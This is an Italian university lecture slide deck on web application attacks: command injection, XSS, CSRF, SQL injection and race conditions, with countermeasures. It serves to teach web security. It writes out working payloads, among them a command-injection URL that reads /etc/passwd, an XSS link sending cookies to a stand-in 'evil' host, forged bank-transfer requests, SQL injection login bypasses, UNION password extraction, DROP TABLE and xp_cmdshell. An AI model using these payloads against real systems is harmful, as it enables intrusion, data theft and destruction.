attacchi web - artificialstudios.org
Transcript
attacchi web - artificialstudios.org
Sicurezza delle applicazioni web: attacchi web Luca Giancane [email protected] L. Giancane Attacchi web 1 / 30 Sommario 1 Introduzione 2 Command injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d’attacco 5 Problemi di concorrenza L. Giancane Attacchi web 2 / 30 OWASP Top Ten (20010rc1) 1 injection 2 Cross Site Scripting (XSS) 3 broken authentication and session management 4 insecure direct object references 5 Cross Site Request Forgery (CSRF) 6 security misconfiguration 7 failure to restrict URL Access 8 unvalidated redirects and forwards 9 insecure cryptographic storage 10 insufficient transport layer protection L. Giancane Attacchi web 3 / 30 Command injection linguaggi di lato server consentono l’esecuzione di comandi (e.g., system(), exec(), popen()) nome e argomenti passati tramite stringa, spesso generati dinamicamente ⇒ mancata sanitizzazione può introdurre vulnerabilità L. Giancane Attacchi web 4 / 30 Command injection linguaggi di lato server consentono l’esecuzione di comandi (e.g., system(), exec(), popen()) nome e argomenti passati tramite stringa, spesso generati dinamicamente ⇒ mancata sanitizzazione può introdurre vulnerabilità Esempio: ricerca di uno User-Agent nei log ... system(’cut −d \” −f 6 /var/log/apache2/access.log | grep −i ’. $ GET[’chiave’]); ... L. Giancane Attacchi web 4 / 30 Command injection linguaggi di lato server consentono l’esecuzione di comandi (e.g., system(), exec(), popen()) nome e argomenti passati tramite stringa, spesso generati dinamicamente ⇒ mancata sanitizzazione può introdurre vulnerabilità Esempio: ricerca di uno User-Agent nei log ... system(’cut −d \” −f 6 /var/log/apache2/access.log | grep −i ’. $ GET[’chiave’]); ... ⇒ http://www.ex.com/user_agent_stat.php?chiave=a;%20cat%20/etc/passwd L. Giancane Attacchi web 4 / 30 Command injection linguaggi di lato server consentono l’esecuzione di comandi (e.g., system(), exec(), popen()) nome e argomenti passati tramite stringa, spesso generati dinamicamente ⇒ mancata sanitizzazione può introdurre vulnerabilità Esempio: ricerca di uno User-Agent nei log ... system(’cut −d \” −f 6 /var/log/apache2/access.log | grep −i ’. $ GET[’chiave’]); ... ⇒ http://www.ex.com/user_agent_stat.php?chiave=a;%20cat%20/etc/passwd Altri esempi interpretazione dinamica di codice (e.g., eval($ GET[’a’])) inclusione di file remoti L. Giancane Attacchi web 4 / 30 Attacchi client-side I sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) 1 l’attaccante modifica la pagina HTML originale, aggiungendo codice (HTML o JavaScript) 2 la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) 3 il browser interpreta il codice iniettato dall’attaccante L. Giancane Attacchi web 5 / 30 Attacchi client-side I sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) 1 l’attaccante modifica la pagina HTML originale, aggiungendo codice (HTML o JavaScript) 2 la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) 3 il browser interpreta il codice iniettato dall’attaccante Obiettivi dell’attacco sniffing di cookie associati al dominio vulnerabile manipolazione form di login esecuzione di GET/POST addizionali . . . qualunque cosa si possa fare con HTML + JavaScript! L. Giancane Attacchi web 5 / 30 Cross-Site Scripting (XSS) Obiettivo accesso non autorizzato ad informazioni presenti sul client attacco basato sulla mancanza di controlli sull’input alterazione della pagina web originale, con aggiunta di codice JavaScript o HTML il browser del client, “fidandosi” del server web, interpreta la pagina modificata i dati che si possono ottenere dipendono dalla policy di sicurezza JavaScript (e.g., no file ma cookie) molto (troppo. . . ) diffusi! L. Giancane Attacchi web 6 / 30 Reflected Cross-Site Scripting Esempio 1 pagina PHP lato server: Benvenuto <?php echo $_GET[’nome’]; ?> L. Giancane Attacchi web 7 / 30 Reflected Cross-Site Scripting Esempio 1 pagina PHP lato server: Benvenuto <?php echo $_GET[’nome’]; ?> 2 link inviato alla vittima: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script>" >link</a> L. Giancane Attacchi web 7 / 30 Reflected Cross-Site Scripting Esempio 1 pagina PHP lato server: Benvenuto <?php echo $_GET[’nome’]; ?> 2 link inviato alla vittima: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script>" >link</a> 3 richiesta HTTP creata dal browser: GET /vuln.php?nome=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F evil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E Host: vulnerabile ... L. Giancane Attacchi web 7 / 30 Reflected Cross-Site Scripting Esempio 1 pagina PHP lato server: Benvenuto <?php echo $_GET[’nome’]; ?> 2 link inviato alla vittima: <a href="http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script>" >link</a> 3 richiesta HTTP creata dal browser: GET /vuln.php?nome=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F evil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E Host: vulnerabile ... 4 HTML generato dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> L. Giancane Attacchi web 7 / 30 Reflected Cross-Site Scripting 1 una pagina dinamica è vulnerabile a XSS 2 utente indotto ad accedere alla pagina vulnerabile 3 exploit contenuto nell’URL L. Giancane Attacchi web 8 / 30 Reflected Cross-Site Scripting 1 una pagina dinamica è vulnerabile a XSS 2 utente indotto ad accedere alla pagina vulnerabile 3 exploit contenuto nell’URL Offuscamento tecniche di encoding nascondere il link con l’exploit dalla barra di stato un link innocuo effettua un redirect (HTTP 3xx) L. Giancane Attacchi web 8 / 30 Stored Cross-Site Scripting Fase 1 l’attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database) L. Giancane Attacchi web 9 / 30 Stored Cross-Site Scripting Fase 1 l’attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database) Fase 2 il client si collega al server il server genera la pagina inserendo anche il codice iniettato L. Giancane Attacchi web 9 / 30 Stored Cross-Site Scripting Fase 1 l’attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database) Fase 2 il client si collega al server il server genera la pagina inserendo anche il codice iniettato Osservazioni tutti gli utenti che richiederanno la pagina subiranno l’attacco il codice ineittato non è visibile in un URL molto più pericoloso rispetto ai reflected! L. Giancane Attacchi web 9 / 30 Cross-Site Request Forgery (XSRF) Obiettivo far eseguire delle azioni alle vittime, sfruttando le loro credenziali (e.g., cookie di sessione) tramite JavaScript non è possibile accedere ai cookie di un altro dominio XSS ⊂ CSRF, ossia XSS =⇒ CSRF CSRF è possibile anche senza XSS CSRF reflected e stored samy is my hero → virus JavaScript che sfrutta CSRF . . . forse non ancora utilizzati per creare danni tangibili L. Giancane Attacchi web 10 / 30 Stored CSRF (GET) Esempio 1 la vittima si collega a http://www.mia-banca.it/ e si autentica 2 la vittima apre un’altra istanza del browser (tab o finestra) e si collega ad un sito maligno 3 la pagina maligna contiene: <img src=”http://www.mia−banca.it/traferisci.php?to=1337&amount=10000”/> 4 il browser crea una richiesta HTTP con il il Cookie appropriato. . . L. Giancane Attacchi web 11 / 30 Stored CSRF (GET) Esempio 1 la vittima si collega a http://www.mia-banca.it/ e si autentica 2 la vittima apre un’altra istanza del browser (tab o finestra) e si collega ad un sito maligno 3 la pagina maligna contiene: <img src=”http://www.mia−banca.it/traferisci.php?to=1337&amount=10000”/> 4 il browser crea una richiesta HTTP con il il Cookie appropriato. . . Osservazioni tramite JavaScript è possibile creare richieste GET/POST il sito maligno non deve essere necessariamente dinamico! L. Giancane Attacchi web 11 / 30 Stored CSRF (POST) Esempio Assunzione l’attaccante ha il pieno accesso alla pagina HTML e può usare AJAX 1 la vittima si collega a http://www.banca-vulnerabile.it e si autentica 2 la vittima richiede una pagina da un sito maligno 3 server maligno restituisce: var http = false; var body = ”to=1337&amount=10000”; http = new XMLHttpRequest(); http.onreadystatechange = handleResponse; http.open(”POST”, ”http://www.banca−vulnerabile.it/trasferisci.php”, true); http.setRequestHeader(”Content−type”, ”application/x−www−form−urlencoded”); http.setRequestHeader(”Content−length”, body.length); http.send(body); function handleResponse() { .... } 4 per banca-vulnerabile, la richiesta è indistinguibile da una lecita L. Giancane Attacchi web 12 / 30 XSS/CSRF: Contromisure Lato client reflected XSS: se l’attacco è visibile nella URL può essere facilmente evitato passando dalla root del dominio estensioni per Firefox: NoScript non visitare altri siti quando utilizza il conto on-line, effettuare sempre il logout Lato server l’input va sempre considerato insicuro, vanno applicate le corrette funzioni di sanitizzazione (e.g., htmlspecialchars()) Per CSRF: CAPTCHA (funzionano sempre?), PIN da inserire per ogni transazione importante parametri nascosti (e.g., campi hidden) passati tra le varie pagine dell’applicazione L. Giancane Attacchi web 13 / 30 SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog, . . . ) ⇒ database L. Giancane Attacchi web 14 / 30 SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog, . . . ) ⇒ database SQLI mancata validazione dell’input le query generate dall’applicazione contengono input I si ha SQLI quando, manipolando l’input, è possibile modificare elementi sintattici di una query SQL L. Giancane Attacchi web 14 / 30 SQL injection Esempio (PHP) 1 2 3 4 5 6 7 8 $nome = $ POST[’nome’]; $passw = $ POST[’passw’]; $result = mysql query(”SELECT ∗ FROM Utenti ” . ”WHERE nome=’$nome’ AND passw=’$passw’;”); if(mysql num rows($result) > 0 ) { ... } 1 nome = mario ∧ passw = xyz → ... WHERE nome=’mario’ AND passw=’xyz’; L. Giancane Attacchi web 15 / 30 SQL injection Esempio (PHP) 1 2 3 4 5 6 7 8 $nome = $ POST[’nome’]; $passw = $ POST[’passw’]; $result = mysql query(”SELECT ∗ FROM Utenti ” . ”WHERE nome=’$nome’ AND passw=’$passw’;”); if(mysql num rows($result) > 0 ) { ... } 1 nome = mario ∧ passw = xyz → ... WHERE nome=’mario’ AND passw=’xyz’; 2 nome = admin ∧ passw = xyz’ OR ’1’=’1 → ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’; . . . quali righe seleziona l’ultima query? L. Giancane Attacchi web 15 / 30 SQLI: Sorgenti d’iniezione Input utente e header HTTP Input dell’utente parametri GET/POST molte tecnologie client-side comunicano col server tramite GET/POST (e.g., Flash, applet Java, AJAX) Header HTTP tutti gli header HTTP devono essere considerati pericolosi User-Agent, Referer,. . . possono essere stati manipolati L. Giancane Attacchi web 16 / 30 SQLI: Sorgenti d’iniezione Cookie e second order injection Cookie sono header aggiuntivi non modificabili da un normale browser provengono dal client ⇒ pericolosi L. Giancane Attacchi web 17 / 30 SQLI: Sorgenti d’iniezione Cookie e second order injection Cookie sono header aggiuntivi non modificabili da un normale browser provengono dal client ⇒ pericolosi Second order injection l’input viene memorizzato dall’applicazione (file,database) successivamente, l’input è utilizzato per la costruzione di query SQL L. Giancane Attacchi web 17 / 30 SQLI: Obiettivi dell’attacco Obiettivo Descrizione identificazione dei parametri iniettabili database footprinting identificare le sorgenti d’iniezione determinazione DB schema estrazione dati manipolazione dei dati denial of service bypassing dell’autenticazione esecuzione remota di comandi L. Giancane scoprire tipo e versione del DBMS in uso; facilitato da una gestione inadeguata degli errori determinare nome delle tabelle, nome e tipo delle colonne estrazione di dati (sensibili) dal database inserimento, modifica o cancellazione dei dati impedire che altri utenti possano utilizzare l’applicazione (LOCK, DELETE, . . . ) eludere un meccanismo di autenticazione esecuzione di comandi esterni al DBMS, stored procedure, . . . Attacchi web 18 / 30 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” 1 query dell’applicazione: $q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”; L. Giancane Attacchi web 19 / 30 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” 1 query dell’applicazione: $q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”; 2 parametri inviati dall’attaccante: $user = ”admin”; $pass = ”’ OR ’1’=’1”; L. Giancane Attacchi web 19 / 30 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” 1 query dell’applicazione: $q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”; 2 parametri inviati dall’attaccante: $user = ”admin”; $pass = ”’ OR ’1’=’1”; 3 query eseguita dall’applicazione: $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’”; L. Giancane Attacchi web 19 / 30 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” 1 query dell’applicazione: $q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”; 2 parametri inviati dall’attaccante: $user = ”admin”; $pass = ”’ OR ’1’=’1”; 3 query eseguita dall’applicazione: $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’”; I se l’applicazione Web avesse sanitizzato l’input (e.g., mysql escape string()): $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’\’ OR \’\’=\’’”; L. Giancane Attacchi web 19 / 30 SQLI: Alcuni esempi Altre “tautologie” utilizzo di commenti SQL inline per evitare di terminare correttamente la query $pass = ”’ OR 1=1 −− ”; $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 – ’”; $pass = ”’ OR 1 −− ”; $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 – ’”; $user = ”admin’ #”; $q = ”SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’”; L. Giancane Attacchi web 20 / 30 SQLI: Alcuni esempi Altre “tautologie” utilizzo di commenti SQL inline per evitare di terminare correttamente la query $pass = ”’ OR 1=1 −− ”; $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 – ’”; $pass = ”’ OR 1 −− ”; $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 – ’”; $user = ”admin’ #”; $q = ”SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’”; scelta “blind” del primo user disponibile $user = ”’ OR user LIKE ’%’ #”; $q = ”SELECT id FROM utente WHERE user=’’ OR user LIKE ’%’ #’ AND pass=’’”; $user = ”’ OR 1 # ”; $q = ”SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’”; L. Giancane Attacchi web 20 / 30 SQLI: Alcuni esempi Altre “tautologie” utilizzo di commenti SQL inline per evitare di terminare correttamente la query $pass = ”’ OR 1=1 −− ”; $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 – ’”; $pass = ”’ OR 1 −− ”; $q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 – ’”; $user = ”admin’ #”; $q = ”SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’”; scelta “blind” del primo user disponibile $user = ”’ OR user LIKE ’%’ #”; $q = ”SELECT id FROM utente WHERE user=’’ OR user LIKE ’%’ #’ AND pass=’’”; $user = ”’ OR 1 # ”; $q = ”SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’”; elusione di IDS $pass = ”’ OR 5>4 OR password=’prova”; $pass = ”’ OR ’vulnerabilita’>’server”; L. Giancane Attacchi web 20 / 30 Tecniche d’attacco SQLI UNION Query esempio di query: $q = ”SELECT id, nome, prezzo, descrizione” . ”FROM prodotto WHERE categoria=” . $ GET[’cat’]; parametri passati dall’attaccante: $cat = ”1 UNION SELECT 1, user, 1, pass FROM utente”; numero e tipo di colonne della prima con quelli della seconda SELECT devono coincidere MySQL: una mancata corrispondenza fra i tipi provoca cast automatici $cat = ”1 UNION SELECT 1, 1, user, pass FROM utente”; L. Giancane Attacchi web 21 / 30 Tecniche d’attacco SQLI Second order injection username inserito dall’attaccante: $user = ”admin’#”; durante l’inserimento nel database, $user viene sanitizzato correttamente L. Giancane Attacchi web 22 / 30 Tecniche d’attacco SQLI Second order injection username inserito dall’attaccante: $user = ”admin’#”; durante l’inserimento nel database, $user viene sanitizzato correttamente l’utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = ”UPDATE utente SET pass=’” . $ POST[’newPass’] . ”’ WHERE user=’” . $row[’user’] . ”’”; query eseguita dall’applicazione: $q = ”UPDATE utente SET pass=’password’ WHERE user=’admin’#’”; L. Giancane Attacchi web 22 / 30 Tecniche d’attacco SQLI Piggy-backed Obiettivo eseguire un numero arbitrario di query esempio di query: $q = ”SELECT id FROM utente WHERE user=’” . $user . ”’ AND pass=’” . $pass . ”’”; parametri passati dall’attaccante: $user = ”’; DROP TABLE utente −− ”; L. Giancane Attacchi web 23 / 30 Tecniche d’attacco SQLI Piggy-backed Obiettivo eseguire un numero arbitrario di query esempio di query: $q = ”SELECT id FROM utente WHERE user=’” . $user . ”’ AND pass=’” . $pass . ”’”; parametri passati dall’attaccante: $user = ”’; DROP TABLE utente −− ”; query eseguita dall’applicazione: $q = ”SELECT id FROM utente WHERE user=’’; DROP TABLE utente – ’ AND pass=”; entrambe le query vengono eseguite! L. Giancane Attacchi web 23 / 30 Tecniche d’attacco SQLI Query illogica-Illegale Obiettivo recuperare informazioni su tabelle, DBMS, . . . esempio di attacco: $user = ”’ HAVING 1=1 −− ”; query eseguita dall’applicazione: SELECT ∗ FROM users WHERE username=’’ HAVING 1=1 – ’ AND password=’’ possibile risposta del server: Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 L. Giancane Attacchi web 24 / 30 Tecniche d’attacco SQLI Stored Procedure MSSQL mette a disposizione circa 1000 stored procedure, per gestione database, creazione tabelle, gestione dati esterni, . . . xp cmdshell consente l’esecuzione di comandi sulla macchina esempio: ’; EXEC master..xp cmdshell ’dir c:’ −− L. Giancane Attacchi web 25 / 30 SQLI: Contromisure Sanitizzazione dei dati affidata ai programmatori i programmatori spesso si affidano a metodi “automagici” (e.g., in PHP, magic quotes gpc fa escaping tramite addslashes()) la sanitizzazione dipende dall’attacco contro cui ci si vuole proteggere! sanitizzazione tramite regexp può essere “tricky” se ci aspetta un numero come parametro, verificare che sia tale . . . è possibile costruire stringhe senza utilizzare apici (AAA ⇔ char(65,65,65)) L. Giancane Attacchi web 26 / 30 Concurrency in web applications: an introduction Single request web browser page request web server spawn new worker interpreter script DB L. Giancane Attacchi web query 27 / 30 Concurrency in web applications: an introduction Multiple parallel requests web browser1 web browser2 page request page request web server spawn new worker interpreter interpreter script script query L. Giancane spawn new worker DB Attacchi web query 27 / 30 Concurrency in web applications: an introduction Multiple parallel requests web browser1 web browser2 page request page request web server spawn new worker spawn new worker interpreter interpreter script script concurrent DB access query L. Giancane DB Attacchi web query 27 / 30 Concurrency in web applications le applicazioni web sono composte da diversi script che eseguono operazioni ben definite e sequenziali script tipicamente accedono ad alcune risorse condivise (e.g., database) diverse istanze dello script eseguite contemporaneamente race conditions sono ben conosciute, ma non investigato il loro impatto nelle web-apps L. Giancane Attacchi web 28 / 30 Concurrency in web applications le applicazioni web sono composte da diversi script che eseguono operazioni ben definite e sequenziali script tipicamente accedono ad alcune risorse condivise (e.g., database) diverse istanze dello script eseguite contemporaneamente race conditions sono ben conosciute, ma non investigato il loro impatto nelle web-apps Problem i programmatori web non concepiscono le loro applicazioni come multi-thread o multi-processo parallelismo inaspettato, quindi interazioni non previste le primitive di sincronizzazione vengono usate raramente e dipendono dal sistema L. Giancane Attacchi web 28 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line L. Giancane P2 Data Line Data Attacchi web Database ID Credit 50 2500 92 820 123 1000 205 1200 ... ... 29 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 Data (id: 123, credit: 1000) L. Giancane P2 Line ⊥ Data ⊥ Attacchi web Database ID Credit 50 2500 92 820 123 1000 205 1200 ... ... 29 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 4 Data (id: 123, credit: 1000) (id: 123, credit: 1000) L. Giancane P2 Line ⊥ 1 Data ⊥ ⊥ Attacchi web Database ID Credit 50 2500 92 820 123 1000 205 1200 ... ... 29 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 4 4 Data (id: 123, credit: 1000) (id: 123, credit: 1000) (id: 123, credit: 1000) L. Giancane P2 Line ⊥ 1 2 Data ⊥ ⊥ (id: 123, credit: 1000) Attacchi web Database ID Credit 50 2500 92 820 123 1000 205 1200 ... ... 29 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 4 4 5 (id: (id: (id: (id: Data 123, credit: 123, credit: 123, credit: 123, credit: L. Giancane P2 1000) 1000) 1000) 1000) Line ⊥ 1 2 4 Data ⊥ ⊥ (id: 123, credit: 1000) (id: 123, credit: 1000) Attacchi web Database ID Credit 50 2500 92 820 123 1000 205 1200 ... ... 29 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 4 4 5 (id: (id: (id: (id: Data 123, credit: 123, credit: 123, credit: 123, credit: L. Giancane P2 1000) 1000) 1000) 1000) Line ⊥ 1 2 4 Data ⊥ ⊥ (id: 123, credit: 1000) (id: 123, credit: 1000) Attacchi web Database ID Credit 50 2500 92 820 123 200 205 1200 ... ... 29 / 30 Concurrency in web applications Motivating example 1 2 3 4 5 6 $res = mysql_query(SELECT credit FROM Users WHERE id=$id); $row = mysql_fetch_assoc($res); if($row[’credit’] >= 800) { <execute the requested operation> $new_credit = $row[’credit’] - 800; $res = mysql_query(UPDATE Users SET credit=$new_credit . WHERE id=$id); } P1 Line 2 4 4 5 (id: (id: (id: (id: Data 123, credit: 123, credit: 123, credit: 123, credit: L. Giancane P2 1000) 1000) 1000) 1000) Line ⊥ 1 2 4 Data ⊥ ⊥ (id: 123, credit: 1000) (id: 123, credit: 1000) Attacchi web Database ID Credit 50 2500 92 820 123 200 205 1200 ... ... 29 / 30
Documenti analoghi
Sicurezza delle applicazioni web: attacchi web
far eseguire delle azioni alle vittime, sfruttando le loro credenziali
(e.g., cookie di sessione)
con JavaScript non è possibile accedere ai cookie di un altro
dominio
XSS ⊂ CSRF, ossia XSS =⇒ CSR...